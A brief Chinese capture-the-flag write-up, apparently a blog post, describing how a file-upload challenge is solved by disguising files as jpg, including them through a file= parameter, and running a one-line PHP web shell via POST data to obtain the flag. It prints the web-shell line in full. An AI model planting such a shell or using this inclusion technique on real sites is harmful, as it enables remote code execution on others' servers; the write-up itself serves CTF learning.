文章描述了一次对网站文件上传功能的测试，发现可以利用Hackbar绕过安全限制，将txt文件伪装成jpg并查看内容。进一步利用PHPeval注入漏洞，成功执行恶意代码获取flag。
1、打开链接发现是让上传文件，随意上传一个txt文件发现直接显示jpg格式，然后尝试其他文件，上传后还是被改成jpg格式；
2、打开Hackbar，发现在file= 这个参数替换掉刚才上传的文件路径，能查看到文件的内容；
3、上传一句话木马，用jpg格式存储，然后在hackbar 的file= 参数后面替换掉上传的文件路径；并在postdata输入如下命令，执行即可获得flag。
<?php @eval(system($_POST["a"]));?>
扫一扫
615
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
